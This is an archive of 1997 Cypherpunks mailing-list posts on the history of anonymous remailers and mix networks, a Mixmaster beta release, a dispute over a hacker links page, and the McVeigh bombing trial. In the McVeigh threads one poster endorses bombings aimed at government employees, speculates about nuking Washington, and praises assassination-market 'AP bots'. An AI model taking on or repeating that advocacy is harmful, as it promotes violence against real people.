which we played as a simulation to directly demonstrate the important features of mixes, including message posting areas (later dubbed "message pools" by Miron Cuperman, one of the earliest hosts of a remailer), remailer chaining (something the Kleinpaste/Julf service cannot offer), digital postage (which we explicitly simulated with play money included in the envelopes), and, of course, encryption at each stage. (Encryption was easily simulated with paper envelopes. Chained encryption was envelopes within envelopes. Etc.) This was in September of 1992, at the meeting organized by Eric Hughes and myself, and attended by about 25 of the best hackers we knew in the Bay Area, drawn from those we knew from the Hackers Conference, the Crypto Conference, and the usual Bay Area overlapping circles (Xanadu, AMIX, VPL, etc.). The very next day, Sunday, Hugh Daniel, Eric Hughes, and I were reflecting on the previous day's 12-hour meeting/dinner. The two of them--I can never remember which one exactly--opinined that some hacks of sendmail could allow such remailers to be built. So one weekend Eric spent two days working on this, the first day learning enough Perl to proceed, and the next day coding up such a hack of sendmail. He released it, and the first crude "remailer" of the "strip headers off and resend" sort was launched. Within a month or less, Hal Finney had added PGP encryption features. Within a few months, about a dozen remailers existed. Chaining a message back and forth through subsets of these remailers, encrypted at each stage, and even going through the same remailer multiple times, was now possible. The "mix entropy" of this routing is quite large, and is certainly vastly more robust than Julf's anonymizer service. (A law enforcement officer of some country might be able to find the exit point of a message, but would then have to get "backward collusion" through the system, into various countries. Such collusion is unlikely. Further, some of the remailer operators have a "no logs kept" policy, so back collusion is almost impossible. And one can always route messages through one's self as a remailer--assuming one operates a remailer--and destroy all records automatically and then claim completel innocence and ignorance to the narc who shows up demanding to see message logs. By the way, in America at least it is very difficult to get blanket warrants to search all e-mail.) And so this was very probably what Duncan meant when he said some of the ranting faction were the inventors of remailers. (Both Eric and Hugh are known to rant, or at least have done so at various times. Eric had some memorable rants at the 1995 CFP when he loudly declared to the National Research Council fact-finding committee, "I am a crypto anarchist.") So, Phill, we members of the "ranting faction" have had some impact. Frankly, I don't think the world would be better served if I went back to school to study number theory and became another Odzylko or Shamir, even if my genetics allowed it. Nor do I think becoming a Perl hacker is my calling. I'm satisfied with my contributions, even if you think the ranters are doing nothing to help the causes you apparently support. As they say in your country, tally ho! --Tim May There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From nobody at huge.cajones.com Tue Jun 3 17:02:08 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Wed, 4 Jun 1997 08:02:08 +0800 Subject: Voluntary GAK Message-ID: <199706032337.QAA03032@fat.doobie.com> A while back I got a letter from the city asking me to pay a $30 "voluntary fine" for my dog running at large. I replied that I would take care of the matter when I showed up for my "voluntary" execution. A few days ago, a man with a badge and a gun showed up on my doorstep to explain that if I failed to pay the "voluntary" fine, that a summons would be issued to require me to go to court and pay a fine. I can hardly wait for the city's "voluntary GAK" ordinance. A. Volunteer From tcmay at got.net Tue Jun 3 17:04:21 1997 From: tcmay at got.net (Tim May) Date: Wed, 4 Jun 1997 08:04:21 +0800 Subject: May's Banal Rant In-Reply-To: Message-ID: At 4:28 PM -0700 6/3/97, Kent Crispin wrote: >On Mon, Jun 02, 1997 at 01:21:54PM -0700, Tim May wrote: >[...] >> Suffice it to say for now that many people have been on the list, and then >> dropped off. For lots of reasons. And their reasons are not something I >> feel I need to worry about. They'll do what they want to do. Some graduated >> from school, some got crypto jobs, some decided they'd had enough, some >> agreed with the basic views but were ready to move on, some despised our >> basic outlook, some were told by their employers their subversive >> activities were a career impediment, some disliked the yahoos and lunatics, >> some wanted censorship and left when they didn't get it, some never >> bothered to resubscribe after being dropped for one reason or another, and >> so on. > >Some grew up. Some, like Peter Pan, want to remain children forever. > At least we can expect to see Kent Crispin soon leaving the list. Historically speaking, when writers stoop to one line insultings of the list they leave soon thereafter. (Vulis excepted, of course.) --Tim May There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From kent at songbird.com Tue Jun 3 17:14:03 1997 From: kent at songbird.com (Kent Crispin) Date: Wed, 4 Jun 1997 08:14:03 +0800 Subject: McVeigh In-Reply-To: <3393682D.167E@ai.mit.edu> Message-ID: <19970603165035.36961@bywater.songbird.com> On Tue, Jun 03, 1997 at 06:43:10PM +0000, Paul Bradley wrote: [...] > > McVeigh ripped the heart out of the militia movement, he demonstrated > > what it was really about. Ironically the Oaklahoma bombing may have > > had precisely the effect McVeigh desired but in a very different > > sense. It was a wake up call to defend the country from fascism > > but the fascist threat was McVeigh and the millitia movement. > > Of course, if the militia movement were to have any effect a concentrated > effort or even a few bombings killing only government employees would > have been a better course of action. *Any* such violence on the part of militia movements will only generate sympathy for the victims, and harm the movement more than it helps. > > recovered from the beer hall putsch. Alternatively they can > > loudly claim that McVeigh was "framed" in the same way that > > other neo-NAZIs on the net claim the holocaust a fake, i.e. > > so that nobody really believes it. I suspect that this script > > The militias would be better to disown McVeigh and condemn his alleged > actions because he killed innocents. But they won't, because they are pathetic insects drawn to the candle flame of violence. Contrast that with the brilliance of the anarchist Eward Abbey in "The Monkey Wrench Gang", where the anti-government acts were calculated to call forth popular support. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From paul at fatmans.demon.co.uk Tue Jun 3 17:14:03 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Wed, 4 Jun 1997 08:14:03 +0800 Subject: May's Banal Rant In-Reply-To: <3.0.2.32.19970602110450.0077d010@netcom13.netcom.com> Message-ID: > Anarchy can not be achieved by negotiations or cooperation with any > branch of government. Very succintly put, and straight to the point. Even minarchism could not be achieved by compromising or negotiating with the current system. > Neither can crypto-anarchy be achieved by nuking > DC. This is not so certain, crypto-anarchy would of course be achieved if anarchy in general were achieved, this could occur if strong action were taken such as nuking DC. I believe more selective systems such as AP will eventually cause the downfall of government, and will do so in a much more ethical and discrimatory manner. > thinking that "something is better than nothing" or "the bastards need to > receive the punishment they so richly deserve". Neither view will help to > further crypto-anarchy in any meaningful way. I don`t believe they are at all comparable statements, the first is a cop out, the second simply carries the discussion to its logical conclusion, that agressors must be punished and agressive acts must be prevented. Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Tue Jun 3 17:14:29 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Wed, 4 Jun 1997 08:14:29 +0800 Subject: McVeigh In-Reply-To: <199706030603.CAA22498@dhp.com> Message-ID: > Hallam-Baker, realizing he is a soft target, wrote: > > > Appologists for McVeigh should consider that his actions did not > > advance the militia cause an iota, it destroyed it and along with > > it much of the right wing fringe. > > Or perhaps just sent more people underground. > Many remarked that the Jim Bell arrest chilled the free speech > of many list members but there are now at least two active AP Bots > on the internet. > I haven't noticed anybody "apologizing" for McVeigh or Bell. > There are merely those who act or who don't act. I would say that the visible and government-vilified militia groups have been damaged by this, because of the killing of innocents. Where is the second AP bot, I know about the one at sympatico....... Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From kirkfort at teleplex.net Tue Jun 3 17:17:23 1997 From: kirkfort at teleplex.net (Kirk Fort) Date: Wed, 4 Jun 1997 08:17:23 +0800 Subject: okc trial Message-ID: <199706040006.UAA25829@teleplex.net> -----BEGIN PGP SIGNED MESSAGE----- > You do not question McVeighs guilt? I do not question McVeighs guilt. I do question that it was a solo act. I am also not convinced it wasn't a government sting operation gone bad. > Also, I believe he was tried in Denver, Collorado? - Don`t they use > lethal injection? oh well, not quite as good, but it works none the less. Anyone know the url to the "means of execution" list? Kirk -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBM5Su21igvzmuAps5AQFxCgMAxEb+R5sw/6+MkzAt41mGQWG8Hy/h0dmM 1T13jW+IoUD6vnKzNBweyIAYpdrgeC6qy1JaGZN2n4G0eTRNcHykxjLcM0CDpjeG zrmWZZV5sLeOv5zIcnxp/QNe08rGcKAw =M6H+ -----END PGP SIGNATURE----- From hallam at ai.mit.edu Tue Jun 3 17:35:12 1997 From: hallam at ai.mit.edu (Hallam-Baker) Date: Wed, 4 Jun 1997 08:35:12 +0800 Subject: Who "invented" remailers? In-Reply-To: Message-ID: <199706040027.UAA11558@muesli.ai.mit.edu> OK I'll partially retract the anti-government ranters comment since Tim wants to be included in it :-) I think it was clear where the comment was aimed however... > The Kleinpaste/Julf "remailer" lacks basic security provisions, and is more > properly called an "anonymizing service," in my opinion. (I'm not familiar > with the "Stephi" story, but I know Kleinpaste wrote up a simple > anonymizing service, which he claims he did in one evening, and decided not > to support it; he transferred the code to Julf, who supported and (I > presume) enhanced it, and the rest is history). All you need to do to have a complete history of the remailer history is to add in the event that caused Kleinpaste to write the code.. I remember now, Wizvax may well have been a VMS machine and hence not congenial to having its code ported off. It seems that Tim did not explore the less salubrious areas of the net but the closing down of Wizvax and the first anonymizing mailer was closely followed by another service whose name I forget but the name Kleinpaste certainly rings a bell. 1992 would be about the right time period as well. Elf Sternberg at Compuserve might well remember the rest of the story. I agree that the Julf mailer had big problems operations wise but I fear that the current mixmaster setup is a bit too unweildy for naive use. Like PGP I tend to see it as an advert to the authorities that you are likely to be up to no good. The CIA can probably find the information they really want by simply tracking PGP messages on the net and doing trafic analysis, same goes for the mixmaster class servers and the problem remains that there is no response facility. I had an idea for an anonymous contact server in the Julf mould that was resistant to the legal attack. No logs of email addresses would ever be kept, to retreive responses from the server one would have to send a retrieval request to it, possibly including a password. For one time uses this would be enough. But if you wanted to get more comprehensive deniability you could require use of encryption and send back all the messages recieved within a particular partition of the database. Its pretty difficult to get a good system that allows a two way communication to be sustained. The idea was inspired by the crypto-SPAM refusal list that I'm currently doing a beta test on, try:- http://etna.ai.mit.edu/SPAM/ Just don't tell the censorware folks... Phill From tcmay at got.net Tue Jun 3 18:01:26 1997 From: tcmay at got.net (Tim May) Date: Wed, 4 Jun 1997 09:01:26 +0800 Subject: McVeigh is not the issue! In-Reply-To: <3393682D.167E@ai.mit.edu> Message-ID: At 11:43 AM -0700 6/3/97, Paul Bradley wrote: >Whether McVeigh himself did it or not is questionable, I believe he did, >this is just a gut feeling, no jury should have convicted him on the >pathetic collection of circumstantial evidence presented. Count me as one who believes the evidence was overwhelming. Unlike the OJ trial, which I found myself drawn into on a daily basis, I ignored this whole thing as much as possible (not for ideological reasons...it just didn't seem interesting to me). From what I did hear of it, the evidence that he did it was positively convincing. I've said I could understand McVeigh's motives, not that I think he was right in doing it, and not that I think he should escape punishment or be shown mercy. There are big differences in all of these issues. I don't see the McVeigh issue as one where we need to get into a pissing contest. He blew up the building, he got caught, he got convicted, and now he'll spend another $15 million of our money appealing his conviction for the next several or more years. Time to move on. What I think we can mostly all agree on are the civil liberties issues involved in the aftermath of the OKC case, the Atlanta bombing, and the TWA explosion. The demands for travel documents, the calls for limits on bomb-making instructions, etc. These are clearly unconstitutional if required by the government. (The airlines claim the FAA is requiring traveller identity. Maybe yes, maybe no. The airlines are profitting from the requirement, for the reasons we've discussed here before. Any extension to further "position escrow" (which is what I call the increasing requirements that citizen-units report their identities when travelling) would, as I understand the Constitution, violate various freedoms to move about with government interference.) These are the serious issues. --Tim May There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From mpd at netcom.com Tue Jun 3 18:05:17 1997 From: mpd at netcom.com (Mike Duvos) Date: Wed, 4 Jun 1997 09:05:17 +0800 Subject: Who "invented" remailers? In-Reply-To: <199706040027.UAA11558@muesli.ai.mit.edu> Message-ID: <199706040058.RAA24630@netcom8.netcom.com> Phil writes: > I agree that the Julf mailer had big problems operations wise but I fear > that the current mixmaster setup is a bit too unweildy for naive use. I think the current level of remailer difficulty is just fine, thank-you. There is nothing inherently wrong in requiring a partial clue in order to use a remailer successfully. Services that the inbred can use too easily generally get nuked due to excessive public attention. Mailmasher strikes me as one recent obvious example. For technology to have a reasonable lifetime, it must have functionality somewhere in between impossible to use, and "click here to threaten the life of the president." -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From ravage at einstein.ssz.com Tue Jun 3 18:08:47 1997 From: ravage at einstein.ssz.com (Jim Choate) Date: Wed, 4 Jun 1997 09:08:47 +0800 Subject: Webpage picketing Message-ID: <199706040021.TAA16641@einstein.ssz.com> Hi, I want to thank everyone for their copius sharing of knowledge on this issue. Where I was originaly going with this was comparing a supermarket and the picketers on a public sidewalk and how the police must protect the picketers from interference and interfering with customer access. The thought that has been going around in my head for a few days was consider a site whose traffic does over a publicly funded backbone (ie sidewalk & customers). Now on this site is a webpage to which another group objects to. Under what conditions akin to sidewalk use might a provider or network provider be forced to provide any user requesting a link to the objectionable page with the page of the objecting group. What I see is a simple single screen page that immediatly takes you to the desired page. Something conceptualy akin to a picket sign. _______________________________________________________________________ | | | Speak the truth, but leave immediately after. | | | | Slovenian Proverb | | | | Jim Choate ravage at ssz.com | | The Armadillo Group www.ssz.com | | Austin, Texas, USA 512-451-7087 | |_______________________________________________________________________| From markm at voicenet.com Tue Jun 3 18:22:33 1997 From: markm at voicenet.com (Mark M.) Date: Wed, 4 Jun 1997 09:22:33 +0800 Subject: okc trial In-Reply-To: <199706030148.VAA26888@teleplex.net> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- On Mon, 2 Jun 1997, Kirk Fort wrote: > he has been convicted on the 11 (I believe) federal employees. He has yet > be tried on the other 156. I believe that the state of Oklahoma is going to > prosecute that case. The 11 deaths should be enough though, for the > maximum penalty. Actually, he was prosecuted for the murder of 8 federal employees. The remaining 3 counts he was convicted of were conspiracy, destruction of government property, and use of a weapon of mass destruction (or something like that). Oklahoma does plan to file 160 murder charges against McVeigh. Then there are the wrongful death lawsuits... Mark -----BEGIN PGP SIGNATURE----- Version: 2.6.3 Charset: noconv iQEVAwUBM5SaByzIPc7jvyFpAQEo9QgAzQcENQ/2qH47FhJH5Lttp4iH2eP2Vs8X QqotVjPAveUA0vOqw0hFh12ZpBZFRo8flblCamiIDf21dNHSpExhYKHCBHLbtXDY P71OF6fkvHZg8sMTAToVLO3tAdf9Klw+JqW27P/80Cg8Q+YphfZWcTvXDEil5rm/ D9B+9ICieAM1ImOgJbvBKS2WMQJpq1LeVXUSInBFnTwiKjEX487jkNUU94Hfzxr7 HLNo9mBu9UJ825jft2TMcOpOvEEVuirYmeb8esfXT4KpU+kn02CzN/QdgKTHCMMo siDknkGESRRZnMQVx+QqN2sn2awskydYvnWnvbhbLYJFot9IdDKkVQ== =J6v6 -----END PGP SIGNATURE----- From ravage at einstein.ssz.com Tue Jun 3 18:30:05 1997 From: ravage at einstein.ssz.com (Jim Choate) Date: Wed, 4 Jun 1997 09:30:05 +0800 Subject: Hacker Links page (fwd) Message-ID: <199706040054.TAA16887@einstein.ssz.com> Forwarded message: >From telecode at primenet.com Tue Jun 3 16:51:58 1997 Message-ID: <33949461.5B at primenet.com> Date: Tue, 03 Jun 1997 15:02:09 -0700 From: Duffy Reply-To: telecode at primenet.com Organization: Telecode (http://www.hackerscatalog.com) X-Mailer: Mozilla 3.0 (Win95; U) MIME-Version: 1.0 To: James Choate Subject: Re: Hacker Links page References: <199706032115.QAA25185 at corp.tivoli.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit James, My most sincere apologies for any personal inconvenience to you in this matter. The sole purpose of the request was just to ask you to delete a link to a site. We didn't intend or foresee any problems with the request, but there were and I believe a more detailed explanation is in order. We here at Telecode were notified by Mr. Lancaster several weeks ago that he wished that the link(s) we had given to his site be removed. No reason was given, and of course, none was required. We complied within 2 hours of the receipt of the e-mail and removed both links from our 2 site: http://www.hackerscatalog.com http://www.cinecam.com On Monday, Mr. Lancaster did a search at HOTBOT and found another link to what he "thought" to be a "Mirror" of our site, namely, your web page with the links. When we looked at the page, we determined that it did look like or was "close enough" to, our web page of Hackers Links at www.hackerscatalog.com/web.htm. We responded to him via e-mail that more than one person in the past has posted this page to their site without permission (not needed anyway) and that on several occasions our entire site has been lifted. We were not pointing to you specifically, but just speaking in "general terms" stating that's possibly how the linkage had occurred. I also remarked that I would do my best to contact and ask that the link be removed. I did this because it "appeared" to Mr. Lancaster that the both yours and our site were somehow "connected". Of which, there are not. We do not claim that there is any copyright infringement on you part and we also state openly that your are the "true and rightful owner of that page". We believe, because of the similarity of the pages, that we had a "responsibility" at least to ask that you remove the link. So, we did. Again, I apologize for any inconvenience in this matter. Duffy Office Manager, Telecode www.hackerscatalog.com > > Hi Duffy, > > > James, > > > > With regards to the page URL listed below: > > > > http://einstein.ssz.com/ravage/hacker.html > > > > The owner of the site of one the links listed has asked to have their > > URL removed from this page. Since the source of the page was "The > > Hackers Catalog", they contacted us. We removed their link promptly, > > however, a web search showed your URL still remaining on the page. They > > have asked us to remove all links back to them, so I am asking you to > > remove the link to the "Guru's Lair" as soon as possible. It's the first > > one on the top of the page. > > > > Thanks for helping... > > > > duffy > > telecode at primenet.com > > Please do not send further email to 'jchoate at tivoli.com' as this has > nothing to do with my business or the issue under discussion. ALL > correspondance should occur through 'ravage at ssz.com' or phone at > 512-451-7087 (8pm - 10pm CST only). Should I receive further email > at Tivoli - IBM's site I will inform them of the breach on your part. > > First, let's set the record straight. I was NEVER asked to do anything. > It was DEMANDED that I take the link down. When I explained that I would > not do that I received an email accussing me of criminal libel. Not what > I would call a request by any definition of that word. I don't like being > threatened and it makes me less than cooperative when it happens. > > Furthermore, why should I take it down? Does the owner plan on dropping > the site and therefore it is a dead link? Certainly I will take it down > because it reflects badly on me having dead links. > > As to where the html that I currently possess came from originaly, I > don't have a clue. I received it as a piece of email from somebody quite > a while ago (memory says over a year). If it really did come from The > Hackers Catalog and they are claiming copyright on it, I have no problem > removing their html, I would replace it with the same links using my own > text and html thereby removing the infringment. Is that what you are > requesting? > > The next question that needs asked is whether there is any copyrighted > material other than The Hackers Catalog claim. The link does not use > any text or graphics from the target site. It furthermore does not even > explicity identify the link. So it is clear that there is no copyrighted > material from Don or his site residing on my server. > > So, the remaining question is does Don have the legal right to limit who > may link to it. I do not believe that Don has any more right to decide > who can link or furthermore visit his sight than my own. This in effect > means none. > > I believe the only reasonable responce that I can have to this 'request' > is to decline on any other issue other than removing the The Hackers > Catalog and replacing it with my own file. > > So, are you representing The Hackers Catalog and requesting the removal > of their fragment of html? If so then I have no problem replacing the file > as soon as I receive a written notice from a legal representative detailing > the complaint and the time period I have to correct the situation. > > If you are instead representing Don and requesting that I remove that > specific link because of his disatisfaction with its location then I must > refuse. I furthermore would request, as I have of Don, to forward me the > name and number of the appropriate lawyer so that my legal council may > contact them and begin proceedings. > > Have a nice day. > > Jim Choate > The Armadillo Group > ravage at ssz.com > 512-451-7087 From tcmay at got.net Tue Jun 3 18:32:19 1997 From: tcmay at got.net (Tim May) Date: Wed, 4 Jun 1997 09:32:19 +0800 Subject: Who "invented" remailers? In-Reply-To: Message-ID: At 5:27 PM -0700 6/3/97, Hallam-Baker wrote: >OK I'll partially retract the anti-government ranters comment >since Tim wants to be included in it :-) I think it was clear where >the comment was aimed however... Well, in light of the comments recently from Rotenberg that we are just a bunch of armchair activists, and in light of comments I've received that my articles are no longer "must reads" but are instead just "rants," and becuase I am well known to not be a C++ programmer (though I do have Smalltalk, Mathematica, and Scheme on my system...now _those_ are my kind of languages!), I felt you were broadly critiquing most of the list as not having done anything for the "cause of cryptography." (Whatever _that_ might be, if it is not remailers, message pools, data havens, and pushing for true digital cash, etc.) >It seems that Tim did not explore the less salubrious areas of the net >but the closing down of Wizvax and the first anonymizing mailer was closely >followed by another service whose name I forget but the name Kleinpaste >certainly rings a bell. 1992 would be about the right time period as >well. Elf Sternberg at Compuserve might well remember the rest of the story. 1991-92 was indeed the time of both major branches of the "remailers." Somewhere in my Cyphernomicon are some quotes from Kleinpaste and Julf, and the context of their work. Here's one quote from the chapter on remailers (available at http://www.oberlin.edu/~brchkind/cyphernomicon/cyphernomicon.contents.html): + Karl Kleinpaste was a pioneer (circa 1991-2) of remailers. He has become disenchanted: - "There are 3 sites out there which have my software: anon.penet.fi, tygra, and uiuc.edu. I have philosophical disagreement with the "universal reach" policy of anon.penet.fi (whose code is now a long-detached strain from the original software I gave Julf -- indeed, by now it may be a complete rewrite, I simply don't know); ....Very bluntly, having tried to run anon servers twice, and having had both go down due to actual legal difficulties, I don't trust people with them any more." [Karl_Kleinpaste at cs.cmu.edu, alt.privacy.anon-server, 1994-08-29] I don't know if Karl has written any longer articles on his involvement with anonymizing services. >I agree that the Julf mailer had big problems operations wise but I fear >that the current mixmaster setup is a bit too unweildy for naive use. >Like PGP I tend to see it as an advert to the authorities that you are >likely to be up to no good. The CIA can probably find the information they >really want by simply tracking PGP messages on the net and doing trafic >analysis, same goes for the mixmaster class servers and the problem >remains that there is no response facility. We see this "they can probably track messages if they want to" view expressed often. Especially by people who haven't thought about the issue in detail, who perhaps just think it "only stands to reason" that the NSA or CIA could backtrack trace messages if they wished to. While not accusing Phill of being one of these folks who is just speculating, I really encourage him to carefully look at this issue, to do some calculations of the mix entropy introduced with sites use mix fan-ins of sufficient size. (Hint: 10 remailers each taking in 10 messages of the same rounded-off size give 10^10 possible routings to follow. Of course, there are not 10 billion messsages in all. But by the pigeonhole principle, in fact, it means any final output message could have been any of the input messages. If the remailers do not reveal input-output mappings ("collusion"), it is hard to imagine traffic analysis doing much. (There are important issues, discussed by several of us several years ago, and more recently by Wei Dai and Lucky Green, dealing with correlation analysis of messages sent and messages received...esentially pattern analysis. Perhaps you will say "Ah, this is what I was referring to." Perhaps.) Look, casual assertions that the CIA can trace messages through multinational chains of encrypted remailers, most with strong mixing (latency), are just that: casual assertions. We all agree that more remailers are needed, that more mechanistic (Chaumian sealed boxes) are needed, etc. With 100 digital mixes, each taking in 100 messages before resending, there are more routings to track back than there are particles in the universe. Smoke that, CIA! --Tim May > >I had an idea for an anonymous contact server in the Julf mould that was >resistant to the legal attack. No logs of email addresses would ever >be kept, to retreive responses from the server one would have to send >a retrieval request to it, possibly including a password. > >For one time uses this would be enough. But if you wanted to get more >comprehensive deniability you could require use of encryption and >send back all the messages recieved within a particular partition of >the database. Its pretty difficult to get a good system that allows >a two way communication to be sustained. > > >The idea was inspired by the crypto-SPAM refusal list that I'm currently >doing a beta test on, try:- > >http://etna.ai.mit.edu/SPAM/ > >Just don't tell the censorware folks... > > > Phill There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From nobody at replay.com Tue Jun 3 18:32:38 1997 From: nobody at replay.com (Name Withheld by Request) Date: Wed, 4 Jun 1997 09:32:38 +0800 Subject: ANNOUNCE: Mixmaster 2.0.4 beta available Message-ID: <199706040125.DAA19874@basement.replay.com> This is to announce the release of Mixmaster 2.0.4 beta. Mixmaster is a new class of anonymous remailers. Inspired by the existing "cypherpunk" remailers and discussions on the Cypherpunk mailing list, Mixmaster is the next generation in the evolution of remailer technology. Mixmaster is available from: ftp://ftp.replay.com/pub/replay/pub/remailer/Mix-204b1.tar.gz What's new? - several bug fixes. - "middle only" remailer. - messages compression. - support for /dev/random. - rudimentary support for the list of reliable Mixmaster remailers. - new installation script. - can be compiled under DOS/Windows. Mixmaster is (C) by Lance Cottrell . This release was made by Ulf M�ller . From tcmay at got.net Tue Jun 3 18:49:28 1997 From: tcmay at got.net (Tim May) Date: Wed, 4 Jun 1997 09:49:28 +0800 Subject: Who "invented" remailers? In-Reply-To: <199706040027.UAA11558@muesli.ai.mit.edu> Message-ID: At 5:58 PM -0700 6/3/97, Mike Duvos wrote: >For technology to have a reasonable lifetime, it must have functionality >somewhere in between impossible to use, and "click here to threaten the >life of the president." Hey, Mike, I tried clicking where you said to, and nothing happened. Is your script not working yet? --Timothy McMeigh From nobody at hidden.net Tue Jun 3 19:04:52 1997 From: nobody at hidden.net (Anonymous) Date: Wed, 4 Jun 1997 10:04:52 +0800 Subject: No Subject Message-ID: <199706040151.SAA08692@jefferson.hidden.net> asgaard at cor.sos.sll.se writes: --- cuts --- > Laws against matching various 'public' registers for multiple entries > are also making life easier for tax evaders (who might be libertarian > heroes of course, but remember that for most salary-dependent people > of lesser income it works like this: the more the entrepreneurs evade > taxes, the more they have to pay to support the nomenclatura) --- cuts --- This assertion relies on the faulty assumptions that: A) Government expenditures (particularly at the state and federal level) are at all related to tax revenue. B) Government expenditures cannot be decreased. From jim.burnes at ssds.com Tue Jun 3 19:09:40 1997 From: jim.burnes at ssds.com (Jim Burnes) Date: Wed, 4 Jun 1997 10:09:40 +0800 Subject: McVeigh Message-ID: <199706040145.TAA04223@denver.ssds.com> Just thought I'd fire off a few comments re: the okc bombing > Date: Tue, 3 Jun 1997 18:43:10 +0000 ( ) > From: Paul Bradley > To: Hallam-Baker > Cc: cypherpunks at toad.com > Subject: Re: McVeigh > > > > Yes, poor Tim Mcveigh. If he's innocent then he is one more victim > > > of the OKC bomber. Its more like poor innocent workers and kids who are just more victims of the insanity initiated by the Scott, Weaver and Waco murders. Brought to you by the good government of holy statist religion. None of those criminals have been tried, much less convicted. My favorite quote from the Scott murder (I believe it was from the local prosecuting attorney). "...well they just lost their moral compass" And so did McVeigh. > > > > I'm surprised at the concern. After all I've not noticed militia > > supporters and appologists speaking out against the death penalty. > Irrelevant. > Tim McVeigh certainly acted for the right reasons. He acted for reasons that had nothing to do with murdering innocents. I guess this was his US Army training in the Gulf. I think it was an act of cowardice. If you have a grudge with some US officials and you think you will be the avenging angel it takes much more courage to attack them personally than to blow up a building. But if we're talking relative evils then at least his motives were not to plunder someone's land, to run live stormtrooper excercises against a church or to collect a paycheck for assasinating a mother (baby in arms) from a safe distance. > > Whether McVeigh himself did it or not is questionable, I believe he did, > this is just a gut feeling, no jury should have convicted him on the > pathetic collection of circumstantial evidence presented. The only thing I think he should have been convicted of is conspiracy. The rest of the so-called evidence is pretty flimsy and never actually locates him at the scene of the crime. Of course conspiracy in an act like that should probably get you life. ...misc rantings deleted.... HB states... > > McVeigh ripped the heart out of the militia movement, he demonstrated > > what it was really about. Ironically the Oaklahoma bombing may have > > had precisely the effect McVeigh desired but in a very different > > sense. It was a wake up call to defend the country from fascism > > but the fascist threat was McVeigh and the millitia movement. > Hmmm. Well just in case anyone has forgotten, McVeigh was ratted out by the Michigan Militia when he went to one (1) of their meetings. This happened because he tried to sell them the idea of blowing up federal buildings. The MM called the FBI, which admitted it. I guess the Feds thought..."oh, just another wacko wanting to blow up federal buildings. We'll get to him later. Right now we have more important things to attend to - like covering up Waco." > > recovered from the beer hall putsch. Alternatively they can > > loudly claim that McVeigh was "framed" in the same way that > > other neo-NAZIs on the net claim the holocaust a fake, i.e. > > so that nobody really believes it. I suspect that this script > Cool. Lets set up an excellent strawman to knock down. How come whenever HB (and other socialist/statists) talk about the opposite of statism they always talk about NAZI's. (remember National >Socialist's<). Oh, fascism is another favorite label. Fascism is from the Latin "fascia" - - to bind together. Politically fascism is the melding together of state and corporate interests until each serve each other well. Maybe we can identify fascism on the American scene. CNN lapdogs reporting Waco "news" directly from the FBI's on-site mouthpiece. Other big-time media keeping their respectful 3 miles from the Davidians' religious community. (not compound, not cult). Whatever happened to the reporter in the field from the Vietnam war days? What about AP filtering out the DEA siezure of a military cargo aircraft importing 1 ton of cocaine into Alameda naval airstation? What about 60 minutes' analysis of the infrared footage where the ATF was mowing down citizens fleeing the Waco barbecue? Their experts told them that murder was being committed. Nothing on TV. ...that's fascism. (sung to the tune of That's Entertainment) > The militias would be better to disown McVeigh and condemn his alleged > actions because he killed innocents. > See above. The MM rejected him, but the FBI thought he was harmless. End game. McVeigh guilty of whatever. They are probably right. What I'm more interested in is the nest of viper's behind the man. Since we're invoking WWII Nazi history, can anyone say, "burning of the Reichstaag" Jim Burnes Engineer, Western Security, SSDS Inc jim.burnes at ssds.com ---- Sometimes it is said that man cannot be trusted with the government of himself. Can he, then, be trusted with the government of others? Or have we found angels in the forms of kings to govern him? Let history answer this question. -Thomas Jefferson, 1st Inaugural Addr From lucifer at dhp.com Tue Jun 3 19:33:11 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Wed, 4 Jun 1997 10:33:11 +0800 Subject: Guilty! Message-ID: <199706040210.WAA04896@dhp.com> There are now laws against everything and 